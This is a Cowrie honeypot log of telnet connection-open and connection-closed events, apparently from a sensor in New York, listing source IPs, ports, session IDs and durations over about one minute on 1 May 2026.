{"eventid":"cowrie.session.closed","duration":12.93898892402649,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:42.638141Z","src_ip":"217.29.29.139","session":"31f9aa7b20c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51786,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb654dbbea05","protocol":"telnet","message":"New connection: 194.163.135.148:51786 (159.203.135.109:23) [session: cb654dbbea05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:42.933908Z"}
{"eventid":"cowrie.session.closed","duration":33.52608680725098,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:43.397304Z","src_ip":"194.163.135.148","session":"3e8edc1e0751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.05635380744934,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:43.873330Z","src_ip":"194.163.135.148","session":"afd5956aa1cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.527481079101562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:44.298816Z","src_ip":"194.163.135.148","session":"21be65ead9e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38389539718628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:45.224381Z","src_ip":"194.163.135.148","session":"dcb400f17589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":51706,"dst_ip":"10.17.0.5","dst_port":23,"session":"91a91721312b","protocol":"telnet","message":"New connection: 103.82.231.165:51706 (10.17.0.5:23) [session: 91a91721312b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:46.564379Z"}
{"eventid":"cowrie.session.closed","duration":0.005288600921630859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:46.569542Z","src_ip":"103.82.231.165","session":"91a91721312b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.392980575561523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:47.246392Z","src_ip":"62.182.85.24","session":"f652bf9af0d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.28865122795105,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:48.500946Z","src_ip":"194.163.135.148","session":"ba460fac2e72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51838,"dst_ip":"159.203.135.109","dst_port":23,"session":"b44aba2d92ff","protocol":"telnet","message":"New connection: 194.163.135.148:51838 (159.203.135.109:23) [session: b44aba2d92ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:50.469491Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51852,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a70a71850b","protocol":"telnet","message":"New connection: 194.163.135.148:51852 (159.203.135.109:23) [session: b7a70a71850b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:52.547950Z"}
{"eventid":"cowrie.session.closed","duration":36.59099721908569,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:52.991353Z","src_ip":"194.163.135.148","session":"7e7c0ccb4eef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.930625438690186,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:53.353426Z","src_ip":"194.163.135.148","session":"b7a76c0f6dc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.61648941040039,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:53.622162Z","src_ip":"194.163.135.148","session":"16bd61191f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21809267997742,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:55.793173Z","src_ip":"194.163.135.148","session":"1dbb34587a7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.080917835235596,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:56.061219Z","src_ip":"194.163.135.148","session":"6d3e1fd9d70a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51886,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d630efb9c0","protocol":"telnet","message":"New connection: 194.163.135.148:51886 (159.203.135.109:23) [session: e6d630efb9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:57.529999Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51898,"dst_ip":"159.203.135.109","dst_port":23,"session":"4edc8392b47e","protocol":"telnet","message":"New connection: 194.163.135.148:51898 (159.203.135.109:23) [session: 4edc8392b47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:58.170275Z"}
{"eventid":"cowrie.session.closed","duration":31.25092840194702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:00.420761Z","src_ip":"194.163.135.148","session":"1a6341838c89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40550255775452,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:00.425755Z","src_ip":"194.163.135.148","session":"459e093ce1af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90748190879822,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:00.635788Z","src_ip":"194.163.135.148","session":"8d67640d4aeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04351258277893,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:01.900732Z","src_ip":"194.163.135.148","session":"5f1e71c23064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.32775521278381,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:04.539252Z","src_ip":"194.163.135.148","session":"7ba227e9e7c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58039140701294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:04.676922Z","src_ip":"194.163.135.148","session":"be88236bebe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.30533766746521,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:04.861933Z","src_ip":"103.82.231.165","session":"ae7fc3fab47d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00558400154114,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:05.818419Z","src_ip":"194.163.135.148","session":"52525317a806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.089898109436035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:07.965960Z","src_ip":"194.163.135.148","session":"085c1a49b8f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51984,"dst_ip":"159.203.135.109","dst_port":23,"session":"987cc3a04244","protocol":"telnet","message":"New connection: 194.163.135.148:51984 (159.203.135.109:23) [session: 987cc3a04244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:09.725644Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52000,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b3fe912e78f","protocol":"telnet","message":"New connection: 194.163.135.148:52000 (159.203.135.109:23) [session: 5b3fe912e78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:10.721930Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52004,"dst_ip":"159.203.135.109","dst_port":23,"session":"15164853caa2","protocol":"telnet","message":"New connection: 194.163.135.148:52004 (159.203.135.109:23) [session: 15164853caa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:11.607271Z"}
{"eventid":"cowrie.session.closed","duration":53.78868842124939,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:12.284125Z","src_ip":"103.82.231.165","session":"b287edf91ae5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.841283559799194,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:12.813531Z","src_ip":"194.163.135.148","session":"5093e0056c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52026,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d46f5458a2e","protocol":"telnet","message":"New connection: 194.163.135.148:52026 (159.203.135.109:23) [session: 4d46f5458a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:12.947973Z"}
{"eventid":"cowrie.session.closed","duration":34.73919939994812,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:13.707217Z","src_ip":"194.163.135.148","session":"62721dddca75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.39964413642883,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:13.718422Z","src_ip":"194.163.135.148","session":"2ddc2d753274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52038,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa58b58512f","protocol":"telnet","message":"New connection: 194.163.135.148:52038 (159.203.135.109:23) [session: ffa58b58512f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:14.702795Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52040,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e8a4a354f4","protocol":"telnet","message":"New connection: 194.163.135.148:52040 (159.203.135.109:23) [session: 60e8a4a354f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:14.708269Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52074,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1bdf7249935","protocol":"telnet","message":"New connection: 194.163.135.148:52074 (159.203.135.109:23) [session: c1bdf7249935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:18.658348Z"}
{"eventid":"cowrie.session.closed","duration":36.255446434020996,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:19.189218Z","src_ip":"194.163.135.148","session":"cb654dbbea05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52086,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c16bd494e93","protocol":"telnet","message":"New connection: 194.163.135.148:52086 (159.203.135.109:23) [session: 9c16bd494e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:19.874928Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52088,"dst_ip":"159.203.135.109","dst_port":23,"session":"4868cce90f4e","protocol":"telnet","message":"New connection: 194.163.135.148:52088 (159.203.135.109:23) [session: 4868cce90f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:19.890651Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":58438,"dst_ip":"10.17.0.5","dst_port":23,"session":"dab9b487a338","protocol":"telnet","message":"New connection: 62.182.85.24:58438 (10.17.0.5:23) [session: dab9b487a338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:19.896626Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52090,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5c04d214f04","protocol":"telnet","message":"New connection: 194.163.135.148:52090 (159.203.135.109:23) [session: d5c04d214f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:19.963942Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52098,"dst_ip":"159.203.135.109","dst_port":23,"session":"38da1888eb0a","protocol":"telnet","message":"New connection: 194.163.135.148:52098 (159.203.135.109:23) [session: 38da1888eb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:20.987106Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52136,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a647be9a79b","protocol":"telnet","message":"New connection: 194.163.135.148:52136 (159.203.135.109:23) [session: 1a647be9a79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:24.278680Z"}
{"eventid":"cowrie.session.closed","duration":34.126469135284424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:24.595845Z","src_ip":"194.163.135.148","session":"b44aba2d92ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52116,"dst_ip":"159.203.135.109","dst_port":23,"session":"c376d925ab97","protocol":"telnet","message":"New connection: 194.163.135.148:52116 (159.203.135.109:23) [session: c376d925ab97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:25.594620Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52160,"dst_ip":"159.203.135.109","dst_port":23,"session":"9565d3e05bb8","protocol":"telnet","message":"New connection: 194.163.135.148:52160 (159.203.135.109:23) [session: 9565d3e05bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:26.705579Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52162,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d1110e2ce91","protocol":"telnet","message":"New connection: 194.163.135.148:52162 (159.203.135.109:23) [session: 8d1110e2ce91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:28.434841Z"}
{"eventid":"cowrie.session.closed","duration":31.570931673049927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:29.100794Z","src_ip":"194.163.135.148","session":"e6d630efb9c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37533211708069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:29.545501Z","src_ip":"194.163.135.148","session":"4edc8392b47e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.07461071014404,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:29.622436Z","src_ip":"194.163.135.148","session":"b7a70a71850b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":47650,"dst_ip":"10.17.0.5","dst_port":23,"session":"6210f241ab12","protocol":"telnet","message":"New connection: 103.82.231.165:47650 (10.17.0.5:23) [session: 6210f241ab12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:30.628796Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52200,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b724fa7a95b","protocol":"telnet","message":"New connection: 194.163.135.148:52200 (159.203.135.109:23) [session: 9b724fa7a95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:31.049819Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52214,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf1afdf1e277","protocol":"telnet","message":"New connection: 194.163.135.148:52214 (159.203.135.109:23) [session: cf1afdf1e277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:31.968625Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":47656,"dst_ip":"10.17.0.5","dst_port":23,"session":"6323fcc3c123","protocol":"telnet","message":"New connection: 103.82.231.165:47656 (10.17.0.5:23) [session: 6323fcc3c123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:32.319338Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52228,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7deec934371","protocol":"telnet","message":"New connection: 194.163.135.148:52228 (159.203.135.109:23) [session: f7deec934371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:33.374902Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55466,"dst_ip":"10.17.0.5","dst_port":23,"session":"673a2ddf43ed","protocol":"telnet","message":"New connection: 62.182.85.24:55466 (10.17.0.5:23) [session: 673a2ddf43ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:33.766034Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35338,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d4385633a1f","protocol":"telnet","message":"New connection: 62.182.85.24:35338 (10.17.0.5:23) [session: 1d4385633a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:34.779584Z"}
{"eventid":"cowrie.session.closed","duration":33.301180362701416,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:43.026692Z","src_ip":"194.163.135.148","session":"987cc3a04244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.557111978530884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:43.164229Z","src_ip":"194.163.135.148","session":"15164853caa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76461482048035,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:44.486420Z","src_ip":"194.163.135.148","session":"5b3fe912e78f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.91323471069336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:44.861076Z","src_ip":"194.163.135.148","session":"4d46f5458a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.526817083358765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:46.234963Z","src_ip":"194.163.135.148","session":"60e8a4a354f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88519644737244,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:48.587869Z","src_ip":"194.163.135.148","session":"ffa58b58512f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52330,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00751e21337","protocol":"telnet","message":"New connection: 194.163.135.148:52330 (159.203.135.109:23) [session: e00751e21337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:48.605751Z"}
{"eventid":"cowrie.session.closed","duration":30.206518411636353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:50.081329Z","src_ip":"194.163.135.148","session":"9c16bd494e93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52340,"dst_ip":"159.203.135.109","dst_port":23,"session":"f095c65a009b","protocol":"telnet","message":"New connection: 194.163.135.148:52340 (159.203.135.109:23) [session: f095c65a009b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:50.260121Z"}
{"eventid":"cowrie.session.closed","duration":31.790691375732422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:50.448901Z","src_ip":"194.163.135.148","session":"c1bdf7249935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52348,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1757c55f48","protocol":"telnet","message":"New connection: 194.163.135.148:52348 (159.203.135.109:23) [session: ec1757c55f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:51.293153Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52356,"dst_ip":"159.203.135.109","dst_port":23,"session":"f00c3efc14f9","protocol":"telnet","message":"New connection: 194.163.135.148:52356 (159.203.135.109:23) [session: f00c3efc14f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:51.503087Z"}
{"eventid":"cowrie.session.closed","duration":32.485187292099,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:52.375639Z","src_ip":"194.163.135.148","session":"4868cce90f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52354,"dst_ip":"159.203.135.109","dst_port":23,"session":"16cc989399ff","protocol":"telnet","message":"New connection: 194.163.135.148:52354 (159.203.135.109:23) [session: 16cc989399ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:52.475491Z"}
{"eventid":"cowrie.session.closed","duration":32.87908887863159,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:52.775630Z","src_ip":"62.182.85.24","session":"dab9b487a338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52380,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c2004909b1","protocol":"telnet","message":"New connection: 194.163.135.148:52380 (159.203.135.109:23) [session: a1c2004909b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:55.507062Z"}
{"eventid":"cowrie.session.closed","duration":36.41802787780762,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:56.381880Z","src_ip":"194.163.135.148","session":"d5c04d214f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.40020751953125,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:56.387155Z","src_ip":"194.163.135.148","session":"38da1888eb0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52406,"dst_ip":"159.203.135.109","dst_port":23,"session":"79bd333d97c6","protocol":"telnet","message":"New connection: 194.163.135.148:52406 (159.203.135.109:23) [session: 79bd333d97c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:58.294906Z"}
{"eventid":"cowrie.session.closed","duration":34.2559597492218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:58.534498Z","src_ip":"194.163.135.148","session":"1a647be9a79b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52402,"dst_ip":"159.203.135.109","dst_port":23,"session":"217c823ec8f6","protocol":"telnet","message":"New connection: 194.163.135.148:52402 (159.203.135.109:23) [session: 217c823ec8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:58.744977Z"}
{"eventid":"cowrie.session.closed","duration":33.76448702812195,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:59.358962Z","src_ip":"194.163.135.148","session":"c376d925ab97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":35506,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e3c599f684c","protocol":"telnet","message":"New connection: 103.82.231.165:35506 (10.17.0.5:23) [session: 1e3c599f684c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:57:59.948732Z"}
